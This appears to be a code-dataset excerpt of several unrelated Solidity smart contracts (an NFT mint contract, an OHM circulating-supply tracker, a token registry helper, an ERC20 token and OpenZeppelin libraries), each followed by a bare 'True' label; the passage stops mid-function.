@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ *@, [email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% @@% @@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@( ,@@%. ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .&@* (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& %@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@* #@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@# @@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@ %@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@ @@. *@@@@@@@@@@@@ // @@@@@@@@@@@@% @# [email protected]@@@@@@@@@@@ // @@@@@@@@@@@% (@@@@@( &@@&@@@@@@@@@@@@@@@ // @@@@@@@@@@@ ,@*. *@, *@@@@@@@@@@@@@@ // @@@@@@@@@@@ #@.. [email protected]# @@@@@@@@@@@@@@ // @@@@@@@@@@@ *@@*./@@* [email protected] (@ @@@@@@@@@@@@@@ // @@@@@@@@@@@ %@@@& /@@@@@@@@@@@@@@ // @@@@@@@@@@@ @@@@@@@@@@@@@@@ // @@@@@@@@@@@( &@@@@@@@@@@@@@@@ // @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@& ,@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@& ,@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@, [email protected]@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@ &@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@. *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@/ (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/. .*&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ contract FortuneFriendsClub is Ownable, ERC721A { string private _baseTokenURI; uint256 public presaleTime; uint256 public affectedTime; uint256 public publicRaffleTime; bytes32 public presaleMerkleRoot; bytes32 public affectedMerkleRoot; bytes32 public publicRaffleMerkleRoot; uint16 public devAmount = 100; uint16 public presaleAmount = 8645; uint256 public price = 0.055 ether; uint16 public supply = 8888; constructor( bytes32 _presaleMerkleRoot, bytes32 _affectedMerkleRoot, uint256 _presaleTime, uint256 _affectedTime, uint256 _publicRaffleTime ) ERC721A("Fortune Friends Club", "FFC", supply) { presaleMerkleRoot = _presaleMerkleRoot; affectedMerkleRoot = _affectedMerkleRoot; presaleTime = _presaleTime; affectedTime = _affectedTime; publicRaffleTime = _publicRaffleTime; } event Created(address indexed to, uint256 amount); // Base URI function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } // Setters function setBaseURI(string calldata baseURI) public onlyOwner { _baseTokenURI = baseURI; } function setPresaleMerkleRoot(bytes32 newMerkleRoot) public onlyOwner { presaleMerkleRoot = newMerkleRoot; } function setAffectedMerkleRoot(bytes32 newMerkleRoot) public onlyOwner { affectedMerkleRoot = newMerkleRoot; } function setPublicRaffleMerkleRoot(bytes32 newMerkleRoot) public onlyOwner { publicRaffleMerkleRoot = newMerkleRoot; } function setMintTime(uint256 _presaleTime, uint256 _affectedTime, uint256 _publicRaffleTime) public onlyOwner { require(_affectedTime > _presaleTime && _publicRaffleTime > _affectedTime, "Invalid mint timings"); presaleTime = _presaleTime; affectedTime = _affectedTime; publicRaffleTime = _publicRaffleTime; } // Mint function presaleMint( bytes32[] calldata merkleProof, uint16 numToMint, uint16 mintCap ) payable public isMintValid(numToMint, mintCap) isPriceValid(numToMint) isMintLive(presaleTime) { require(totalSupply() + numToMint < presaleAmount + 1, "Not enough remaining for mint amount requested"); require(MerkleProof.verify(merkleProof, presaleMerkleRoot, keccak256(abi.encodePacked(msg.sender, mintCap))), "Leaf node could not be verified, check proof."); _safeMint(msg.sender, numToMint); emit Created(msg.sender, numToMint); } function affectedMint( bytes32[] calldata merkleProof, uint16 numToMint, uint16 mintCap ) payable public isMintValid(numToMint, mintCap) isMintLive(affectedTime) { require(MerkleProof.verify(merkleProof, affectedMerkleRoot, keccak256(abi.encodePacked(msg.sender, mintCap))), "Leaf node could not be verified, check proof"); _safeMint(msg.sender, numToMint); emit Created(msg.sender, numToMint); } function publicRaffleMint( bytes32[] calldata merkleProof, uint16 numToMint ) payable public isMintValid(numToMint, 1) isPriceValid(numToMint) isMintLive(publicRaffleTime) { require(MerkleProof.verify(merkleProof, publicRaffleMerkleRoot, keccak256(abi.encodePacked(msg.sender))), "Leaf node could not be verified, check proof"); _safeMint(msg.sender, numToMint); emit Created(msg.sender, numToMint); } function devMint( address to, uint16 numToMint ) payable public onlyOwner isMintValid(numToMint, devAmount) { require(numToMint % 5 == 0); for (uint32 i = 0; i < numToMint / 5; i++) { _safeMint(to, 5); } } // Dev function withdraw() public onlyOwner { payable(msg.sender).transfer(payable(address(this)).balance); } function setOwnersExplicit(uint256 quantity) public onlyOwner { _setOwnersExplicit(quantity); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } // Modifiers modifier isMintValid(uint16 numToMint, uint16 mintCap) { require(totalSupply() + numToMint < supply + 1, "Not enough remaining for mint amount requested"); require(numberMinted(msg.sender) + numToMint < mintCap + 1, "Too many minted"); require(numToMint > 0, "Quantity needs to be more than 0"); _; } modifier isPriceValid(uint16 numToMint) { require(msg.value > 0, "Value has to be above 0"); require(msg.value == price * numToMint, "Not enough ETH sent: check price"); require(numberMinted(msg.sender) < 1, "Has minted before"); _; } modifier isMintLive(uint256 time) { require(time > 0 && block.timestamp > time, "Invalid mint time"); _; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-04-14 */ // SPDX-License-Identifier: AGPL-3.0-or-later\ pragma solidity 0.7.5; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } /* * Expects percentage to be trailed by 00, */ function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } /* * Expects percentage to be trailed by 00, */ function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } /** * Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract OHMCirculatingSupplyConrtact { using SafeMath for uint; bool public isInitialized; address public OHM; address public owner; address[] public nonCirculatingOHMAddresses; constructor( address _owner ) { owner = _owner; } function initialize( address _ohm ) external returns ( bool ) { require( msg.sender == owner, "caller is not owner" ); require( isInitialized == false ); OHM = _ohm; isInitialized = true; return true; } function OHMCirculatingSupply() external view returns ( uint ) { uint _totalSupply = IERC20( OHM ).totalSupply(); uint _circulatingSupply = _totalSupply.sub( getNonCirculatingOHM() ); return _circulatingSupply; } function getNonCirculatingOHM() public view returns ( uint ) { uint _nonCirculatingOHM; for( uint i=0; i < nonCirculatingOHMAddresses.length; i = i.add( 1 ) ) { _nonCirculatingOHM = _nonCirculatingOHM.add( IERC20( OHM ).balanceOf( nonCirculatingOHMAddresses[i] ) ); } return _nonCirculatingOHM; } function setNonCirculatingOHMAddresses( address[] calldata _nonCirculatingAddresses ) external returns ( bool ) { require( msg.sender == owner, "Sender is not owner" ); nonCirculatingOHMAddresses = _nonCirculatingAddresses; return true; } function transferOwnership( address _owner ) external returns ( bool ) { require( msg.sender == owner, "Sender is not owner" ); owner = _owner; return true; } }

True

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pragma solidity ^0.4.23; interface Registry{ function hasAttribute(address,bytes32) view returns(bool); } contract RegistryHelper { Registry public registry = Registry(0x0000000000013949f288172bd7e36837bddc7211); bytes32 constant public IS_MINT_RATIFIER = "isTUSDMintRatifier"; bytes32 constant public IS_MINT_PAUSER = "isTUSDMintPausers"; bytes32 public constant HAS_PASSED_KYC_AML = "hasPassedKYC/AML"; bytes32 public constant CAN_BURN = "canBurn"; bytes32 public constant IS_BLACKLISTED = "isBlacklisted"; bytes32 public constant IS_DEPOSIT_ADDRESS = "isDepositAddress"; bytes32 public constant IS_REGISTERED_CONTRACT = "isRegisteredContract"; function check(address addr, bytes32 attributes) view returns (bool){ return registry.hasAttribute(addr, attributes); } function isRatifier(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_MINT_RATIFIER); } function isChecker(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_MINT_PAUSER); } function passedKYC(address addr) view returns (bool){ return registry.hasAttribute(addr, HAS_PASSED_KYC_AML); } function canBurn(address addr) view returns (bool){ return registry.hasAttribute(addr, CAN_BURN); } function isBlacklisted(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_BLACKLISTED); } function isDepositAddress(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_DEPOSIT_ADDRESS); } function isRegisteredContract(address addr) view returns (bool){ return registry.hasAttribute(addr, IS_REGISTERED_CONTRACT); } }

True

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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'TreasureCoin' token contract // // Deployed to : 0x169A8886eeDDBd7fC3ba0aaBF1fcBEC150016780 // Symbol : TRC // Name : TreasureCoin // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Deniz Yildiz / Nosce . // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract TreasureCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function TreasureCoin() public { symbol = "TRC"; name = "TreasureCoin"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x169A8886eeDDBd7fC3ba0aaBF1fcBEC150016780] = _totalSupply; Transfer(address(0), 0x169A8886eeDDBd7fC3ba0aaBF1fcBEC150016780, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), 